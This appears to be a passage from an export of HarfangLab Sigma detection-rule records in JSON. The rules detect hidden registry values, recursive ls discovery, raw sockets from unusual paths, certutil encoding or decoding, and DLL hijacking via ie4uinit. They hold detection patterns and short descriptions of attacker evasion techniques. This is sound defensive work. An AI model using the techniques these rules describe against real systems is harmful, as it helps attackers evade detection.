+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "01833e69-127a-4ff4-a998-d4decbae548f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069505Z",
+  "creation_date": "2026-03-23T11:45:34.069507Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069512Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_hidden_registry_data_space.yml",
+  "content": "title: Possible Hidden Registry Data Created\nid: 01833e69-127a-4ff4-a998-d4decbae548f\ndescription: |\n    Detects an attempt to hide data in the Registry by adding multiple spaces at the beginning of a value.\n    Adversaries often manipulate the Windows Registry by adding spaces to obscure data, hide configurations, or remove evidence.\n    It is recommended to investigate the source of the registry modification, and check for related events that may indicate unauthorized access or malicious activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2021/10/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        Details|startswith: '                    '\n\n    # Some softwares set values containing only a random number of spaces\n    exclusion_all_spaces:\n        Details|startswith: '                    '\n        Details|endswith:   '                    '\n\n    exclusion_image:\n        Image:\n            - '?:\\Program Files (x86)\\Avid\\iNEWS*\\ANWS.exe'\n            - '?:\\Windows\\System32\\drivers\\Intel\\ICPS\\IntelConnect.exe'\n            - '?:\\Program Files\\Photon Engineering\\FRED *\\Bin\\Fred.exe'\n            - '?:\\Program Files (x86)\\Thermo\\Avantage\\Bin\\Avantage.exe'\n            - '?:\\program files\\thermo scientific\\avantage\\bin\\avantage.exe'\n\n    exclusion_commandline:\n        Image: '?:\\windows\\system32\\regsvr32.exe'\n        ProcessCommandLine:\n            - '/s ?:\\program files\\thermo scientific\\avantage\\bin\\xraygun.ocx'\n            - '/s ?:\\program files\\thermo scientific\\avantage\\bin\\xraygun_??????.ocx'\n            - '/s ?:\\program files\\thermo scientific\\avantage\\bin\\vgchargecompensation.ocx'\n\n    exclusion_tiworker:\n        Image|endswith: '\\TiWorker.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_windowsupdatebox:\n        ProcessParentImage|endswith:\n            - '\\WindowsUpdateBox.exe'\n            - ':\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n            - '\\TiWorker.exe'\n            - '\\Sources\\SetupPrep.exe'\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin\\Microsoft.Windows.ServerManagerWorkflows\\ConfigXML'\n        Details|contains|all:\n            - 'PlugInConfiguration'\n            - 'PublicKeyToken'\n            - 'MaxConcurrentCommandsPerShell'\n\n    exclusion_adobe:\n        Image|endswith:\n            - '\\AcroRd32.exe'\n            - '\\Acrobat.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Adobe Inc.'\n            - 'Adobe Systems, Incorporated'\n        TargetObject|endswith:\n            # - '\\Software\\Adobe\\Acrobat Reader\\DC\\SessionManagement\\cWindowsPrev\\cWin0\\cTab*\\tfilename'\n            # - '\\Software\\Adobe\\Acrobat Reader\\DC\\SessionManagement\\cWindowsCurrent\\cWin0\\cTab*\\tfilename'\n            # - '\\SOFTWARE\\Adobe\\Acrobat Reader\\2017\\AVGeneral\\cRecentFiles\\c8\\tFileName'\n            - '\\SOFTWARE\\Adobe\\Acrobat Reader\\\\*\\tfilename'\n            - '\\SOFTWARE\\Adobe\\Adobe Acrobat\\\\*\\tfilename'\n\n    exclusion_jalios:\n        Image: '?:\\Program Files (x86)\\Jalios\\Jalios JDrive\\srm.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'JALIOS'\n        Details|contains:\n            - '__AChangedOverlay'\n            - '__ASynchronizedOverlay'\n            - '__APrivateOverlay'\n            - '__ATBUOverlay'\n            - '__ALockedOverlay'\n\n    exclusion_setuphost:\n        Image: '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n        TargetObject:\n            - 'HKLM\\$OFFLINE_RW_????????$SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved\\{????????-????-????-????-????????????}'\n            - 'HKLM\\$OFFLINE_RW_????????$SOFTWARE\\Classes\\CLSID\\{????????-????-????-????-????????????}\\(Default)'\n        Details|contains:\n            - '__AChangedOverlay'\n            - '__ASynchronizedOverlay'\n            - '__APrivateOverlay'\n            - '__ATBUOverlay'\n            - '__ALockedOverlay'\n\n    exclusion_wsman:\n        Image: '?:\\Windows\\System32\\WSManHTTPConfig.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Migration\\Plugin\\Microsoft.Windows.ServerManagerWorkflows\\ConfigXML'\n\n    exclusion_sap:\n        Image:\n            - '?:\\Program Files (x86)\\SAP\\FrontEnd\\SAPgui\\saplogon.exe'\n            - '?:\\Program Files (x86)\\SAP\\FrontEnd\\SAPGUI\\saplgpad.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'SAP SE'\n\n    exclusion_pdf_architect:\n        Image: '?:\\Program Files\\PDF Architect ?\\architect.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'pdfforge GmbH'\n\n    exclusion_smbios2reg:\n        Image|endswith: '\\BeetleInfo\\Smbios2Reg.exe'\n        ProcessOriginalFileName: 'Smbios2Reg.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Wincor Nixdorf\\BeetleInfo SensorService\\DMI\\Mainboard'\n\n    exclusion_notepad:\n        Image:\n            - '?:\\Windows\\System32\\notepad.exe'\n            - '?:\\Windows\\SysWOW64\\notepad.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Notepad\\\\*String'\n\n    exclusion_ssms:\n        Image: '?:\\Program Files (x86)\\Microsoft SQL Server Management Studio *\\Common7\\IDE\\Ssms.exe'\n        TargetObject|endswith:\n            - '\\SOFTWARE\\Microsoft\\SQL Server Management Studio\\\\*_IsoShell\\Find\\Find'\n            - '\\SOFTWARE\\Microsoft\\SQL Server Management Studio\\\\*_IsoShell\\Find\\Find *'\n\n    exclusion_softerra:\n        Image|endswith: '\\ldapbrowser.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Softerra, Ltd.'\n        TargetObject|endswith: '\\SOFTWARE\\Softerra\\LDAP Browser *\\Settings\\QuickSearchBar\\\\*'\n\n    exclusion_acdsystems:\n        Image|endswith: '\\ACDSee??.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ACD Systems International Inc'\n        TargetObject|endswith: '\\SOFTWARE\\ACD Systems\\ACDSee\\\\*\\PrintOptions\\Presets\\PrintContactSheet\\Default\\strFtrText'\n\n    exclusion_outlook:\n        ProcessOriginalFileName: 'Outlook.exe'\n        TargetObject:\n            - 'HKU\\S-*\\SOFTWARE\\Microsoft\\Office\\\\*\\Outlook\\Profiles\\Outlook\\\\*\\Reply-Forward Signature'\n            - 'HKU\\S-*\\SOFTWARE\\Microsoft\\Office\\\\*\\Outlook\\Profiles\\Outlook\\\\*\\New Signature'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "01833e69-127a-4ff4-a998-d4decbae548f",
+  "rule_name": "Possible Hidden Registry Data Created",
+  "rule_description": "Detects an attempt to hide data in the Registry by adding multiple spaces at the beginning of a value.\nAdversaries often manipulate the Windows Registry by adding spaces to obscure data, hide configurations, or remove evidence.\nIt is recommended to investigate the source of the registry modification, and check for related events that may indicate unauthorized access or malicious activity.\n",
+  "rule_creation_date": "2021-10-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "01ce3d93-1705-4c9f-a0f9-4c0e16af130b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613285Z",
+  "creation_date": "2026-03-23T11:45:34.613289Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613296Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1083/",
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1083_recursive_ls_linux.yml",
+  "content": "title: File and Directory Discovered via ls\nid: 01ce3d93-1705-4c9f-a0f9-4c0e16af130b\ndescription: |\n    Detects the execution of ls with special arguments that may be used for file and directory discovery.\n    Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1083/\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2022/12/01\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - attack.t1005\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/ls'\n\n        # When the agent is under a lot of pressure, the parent information of a process can be missing.\n        # Exceptionnaly for this rule, because it triggers so frequently with a low severity, we will ignore\n        # its instances where the parent is missing.\n        # When the parent is missing, the ParentImage or ParentCommandLine field is also missing (it is not empty or null)\n        # so we can't easily match against that.\n        # Instead, we reverse the problem by requiring the ParentImage fields to contain a `\\`.\n        ParentImage|contains: '\\'\n\n    selection_recursive:\n        CommandLine|contains:\n            - ' -R'\n            - ' -?R'\n            - ' -??R'\n            - ' -???R'\n            - ' -????R'\n            - ' -?????R'\n\n    selection_arg_all:\n        CommandLine|contains:\n            - ' -a'\n            - ' -?a'\n            - ' -??a'\n            - ' -???a'\n            - ' -????a'\n            - ' -?????a'\n    selection_arg_l:\n        CommandLine|contains:\n            - ' -l'\n            - ' -?l'\n            - ' -??l'\n            - ' -???l'\n            - ' -????l'\n            - ' -?????l'\n\n    exclusion_commandline:\n        CommandLine:\n            - '* --color=auto *'\n            - 'ls --color=auto'\n            - '* --color=tty *'\n            - 'ls --color=tty'\n            - 'ls --color -d .'\n            - 'ls -? /proc/*'\n            - 'ls -?? /proc/*'\n            - 'ls -? /usr/*'\n            - 'ls -? /var/*'\n            - 'ls -?? /var/*'\n            - 'ls -?? /run/*'\n            - '/bin/ls -? /proc/*'\n            - '/bin/ls -?? /proc/*'\n            - '/bin/ls -? /usr/*'\n            - '/bin/ls -? /var/*'\n            - '/bin/ls -?? /var/*'\n            - '/bin/ls -ld /run/*'\n            - 'ls -l libreoffice'\n            - '/bin/ls -l ./jre/bin/java'\n\n    exclusion_qualys1:\n        - GrandparentImage: '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n        - CommandLine:\n            - '*/qualys/cloud-agent/*'\n            - 'ls -ltr /var/log/qualys/*'\n    exclusion_qualys2:\n        CommandLine: 'ls -ld /root'\n        ParentImage: '/usr/bin/bash'\n        GrandparentImage: '/usr/bin/bash'\n    exclusion_qualys3:\n        GrandparentImage: '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n        CommandLine|startswith: 'ls -ld /root/'\n\n    exclusion_bladelogic:\n        ParentImage: '/opt/bmc/bladelogic/RSCD/bin/rscd_full'\n\n    exclusion_ransomguard:\n        CommandLine: 'ls -ld /root/.ransomguard.???'\n\n    condition: selection and selection_recursive and 1 of selection_arg_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "01ce3d93-1705-4c9f-a0f9-4c0e16af130b",
+  "rule_name": "File and Directory Discovered via ls",
+  "rule_description": "Detects the execution of ls with special arguments that may be used for file and directory discovery.\nAdversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005",
+    "attack.t1083"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "01cf0e26-1674-4236-aa42-024891c8915c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085708Z",
+  "creation_date": "2026-03-23T11:45:34.085710Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085714Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/",
+    "https://man7.org/linux/man-pages/man7/raw.7.html",
+    "https://man7.org/linux/man-pages/man7/packet.7.html",
+    "https://attack.mitre.org/techniques/T1095/",
+    "https://attack.mitre.org/techniques/T1040/"
+  ],
+  "name": "t1095_rawsocket_suspicious_path.yml",
+  "content": "title: Raw Socket Created From Suspicious Path\nid: 01cf0e26-1674-4236-aa42-024891c8915c\ndescription: |\n    Detects the creation of a raw socket from a suspicious path.\n    Raw sockets are a special kind of socket that allow deep manipulation of network packets, either for inspection, filtering, custom protocols or packet forging.\n    It may hint at a malware trying to hide its traffic without having to open a port or using a custom protocol to communicate with its C2.\n    It is recommended to ensure the process who created this raw socket had a legitimate reason to do so and that the host wasn't compromised.\nreferences:\n    - https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/\n    - https://man7.org/linux/man-pages/man7/raw.7.html\n    - https://man7.org/linux/man-pages/man7/packet.7.html\n    - https://attack.mitre.org/techniques/T1095/\n    - https://attack.mitre.org/techniques/T1040/\ndate: 2024/02/02\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1095\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1205.001\n    - attack.t1572\n    - attack.credential_access\n    - attack.discovery\n    - attack.t1040\n    - classification.Linux.Source.NetworkActivity\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: network_rawsocket\n    product: linux\ndetection:\n\n    selection:\n        # Ensure that events without a process do not trigger this rule.\n        # This happens typically when the agent is overloaded.\n        ProcessImage|startswith:\n            - '/'\n            - 'memfd:'\n        ProcessAncestors|contains: '?'\n\n    # Filter common \"good\" directories to only retain the suspicious ones (/home, /tmp, /run, etc.)\n    filter_system_directories:\n        ProcessImage|startswith:\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n            - '/usr/local/'\n            - '/opt/'\n            - '/lib/'\n            - '/lib64/'\n            - '/usr/lib/'\n            - '/usr/lib64/'\n            - '/usr/libexec/'\n            - '/usr/share/'\n            - '/snap/'\n            - '/var/lib/snapd/snap/'\n            - '/nix/store/*/bin/'\n            - '/nix/store/*/libexec/'\n\n    exclusion_k3s:\n        ProcessImage|startswith: '/var/lib/rancher/k3s/data/*/bin/'\n\n    exclusion_container:\n        - ProcessParentImage:\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/opt/containerd/bin/containerd-shim-runc-v2'\n            - '/usr/local/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/opt/containerd/bin/containerd-shim-runc-v2|'\n            - '|/usr/local/bin/containerd-shim-runc-v2|'\n\n    exclusion_u01:\n        ProcessImage:\n            - '/u01/app/*/bin/cping'\n            - '/u01/app/*/bin/acquisition'\n            - '/u01/app/*/bin/gyrophare'\n            - '/u01/app/*/bin/orarootagent.bin'\n\n    exclusion_tina:\n        ProcessImage:\n            - '*/tina/Bin/.tina_ping.real'\n            - '/usr/Atempo/tina/Bin/*'\n            - '/usr/Atempo/TimeNavigator/*'\n\n    exclusion_devolonetsv:\n        #  /var/lib/devolonetsvc/updates/firmware/devolo-firmware-qca7420/avupdate\n        ProcessImage: '/var/lib/devolonetsvc/updates/firmware/devolo-firmware-*/avupdate'\n\n    exclusion_openprocess:\n        ProcessImage: '/usr/openprocess/*/bin/ops?server'\n\n    exclusion_hlab:\n        ProcessImage|endswith: '/hl-ebpf-sweeper'\n\n    exclusion_lacework_datacollector:\n        # /var/lib/lacework/6.11.0.21858/datacollector\n        # /var/lib/lacework/6.7.6.19823/datacollector\n        ProcessImage: '/var/lib/lacework/*/datacollector'\n\n    exclusion_azure_networkwatcher:\n        # /var/lib/waagent/Microsoft.Azure.NetworkWatcher.NetworkWatcherAgentLinux-1.4.3320.1/amd64/NetworkWatcherAgent\n        ProcessImage: '/var/lib/waagent/Microsoft.Azure.NetworkWatcher.NetworkWatcherAgentLinux-*/*/NetworkWatcherAgent'\n\n    exclusion_ibm_hsm:\n        ProcessImage:\n            - '/usr/lpp/mmfs/bin/mmcmi'\n            - '/usr/lpp/mmfs/bin/mmfsd'\n            - '/usr/lpp/mmfs/libexec/ctdb/ctdb_killtcp'\n\n    exclusion_veritas:\n        ProcessImage:\n            - '/usr/openv/volmgr/bin/avrd'\n            - '/usr/openv/volmgr/bin/tldd'\n\n    exclusion_nexpose_vulnscanner:\n        ProcessCurrentDirectory: '/data/rapid7/nexpose/nsc/'\n\n    exclusion_container_iptables:\n        ProcessAncestors|contains: '/usr/bin/containerd'\n        ProcessCommandLine:\n            - '/system/bin/ip6tables-restore --noflush -w -v'\n            - '/system/bin/iptables-restore --noflush -w -v'\n\n    exclusion_uv_python:\n        ProcessImage|contains: '/.local/share/uv/python/'\n\n    exclusion_cortex:\n        ProcessCommandLine: '/opt/traps/bin/pmd'\n\n    exclusion_sensugo:\n        ProcessAncestors|contains:\n            - '|/opt/sensugo/bin/sensu-agent.v*|'\n            - '|/opt/sensugo/bin/sensu-backend.v*|'\n\n    exclusion_zygote:\n        ProcessParentImage: '/system/bin/app_process64'\n\n    exclusion_icsscand:\n        ProcessImage|endswith: '/icsscand/build/libicsneo-socketcan-daemon'\n\n    exclusion_iptables:\n        ProcessImage: '/system/bin/iptables'\n\n    exclusion_zig_benchmark:\n        ProcessCommandLine: 'zig-out/bin/benchmark'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "01cf0e26-1674-4236-aa42-024891c8915c",
+  "rule_name": "Raw Socket Created From Suspicious Path",
+  "rule_description": "Detects the creation of a raw socket from a suspicious path.\nRaw sockets are a special kind of socket that allow deep manipulation of network packets, either for inspection, filtering, custom protocols or packet forging.\nIt may hint at a malware trying to hide its traffic without having to open a port or using a custom protocol to communicate with its C2.\nIt is recommended to ensure the process who created this raw socket had a legitimate reason to do so and that the host wasn't compromised.\n",
+  "rule_creation_date": "2024-02-02",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040",
+    "attack.t1095",
+    "attack.t1205.001",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "01f3ffc6-8407-4fda-972a-7d8066ec1e3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078393Z",
+  "creation_date": "2026-03-23T11:45:34.078395Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078400Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
+    "https://attack.mitre.org/techniques/T1140/"
+  ],
+  "name": "t1140_certutil_encoding_usage.yml",
+  "content": "title: Certutil Used for Encoding\nid: 01f3ffc6-8407-4fda-972a-7d8066ec1e3b\ndescription: |\n    Detects the execution of certutil.exe to decode or encode data.\n    This is often used by attackers to decode binaries hidden inside certificate files as Base64 or Hexadecimal information.\n    It is recommended to check the content of the written file and the activity of the parent process for malicious behavior.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Certutil/\n    - https://attack.mitre.org/techniques/T1140/\ndate: 2021/05/27\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.s0160\n    - attack.t1140\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Certutil\n    - classification.Windows.Behavior.Obfuscation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\certutil.exe'\n        # Renamed binaries\n        - OriginalFileName: 'CertUtil.exe'\n\n    selection_cmd:\n        CommandLine|contains:\n            # Decode to BASE64\n            - ' -decode '\n            - ' /decode '\n\n            # Encode to BASE64\n            - ' -encode '\n            - ' /encode '\n\n            # Decode from hexadecimal\n            - ' -decodehex '\n            - ' /decodehex '\n\n            # Encode to hexadecimal\n            - ' -encodehex '\n            - ' /encodehex '\n\n    exclusion_glpi1:\n        # GLPI-Agent keystore-export\n        CommandLine: 'certutil -encode *.crt temp.cer'\n        # C:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe\n        GrandparentImage|endswith: '\\glpi-agent.exe'\n\n    exclusion_glpi2:\n        # GLPI-Agent keystore-export\n        CommandLine:\n            - 'certutil -encode *.crt temp.cer'\n            - 'certutil -encode *.crt temp.cer ?'\n        # C:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe\n        CurrentDirectory: '?:\\Program Files\\GLPI-Agent\\var\\keystore-export-*\\'\n\n    exclusion_pfu_scansnap:\n        ProcessGrandparentImage:\n            - '?:\\Program Files (x86)\\PFU\\ScanSnap\\Home\\SshRegister.exe'\n            - '?:\\Program Files (x86)\\PFU\\ScanSnap\\Driver\\PfuSsMon.exe'\n        ProcessCommandLine: 'certutil -encodehex -f * content.json 1'\n\n    exclusion_centralstage:\n        ProcessGrandparentImage: '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n        ProcessCommandLine: 'certutil -decode getsignatureinfo.base64 getsignatureinfo.ps1'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "01f3ffc6-8407-4fda-972a-7d8066ec1e3b",
+  "rule_name": "Certutil Used for Encoding",
+  "rule_description": "Detects the execution of certutil.exe to decode or encode data.\nThis is often used by attackers to decode binaries hidden inside certificate files as Base64 or Hexadecimal information.\nIt is recommended to check the content of the written file and the activity of the parent process for malicious behavior.\n",
+  "rule_creation_date": "2021-05-27",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "022246ff-42f6-4d06-8173-3c88a407926a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592360Z",
+  "creation_date": "2026-03-23T11:45:34.592363Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592371Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ie4uinit.yml",
+  "content": "title: DLL Hijacking via ie4uinit.exe\nid: 022246ff-42f6-4d06-8173-3c88a407926a\ndescription: |\n    Detects potential Windows DLL Hijacking via ie4uinit.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - 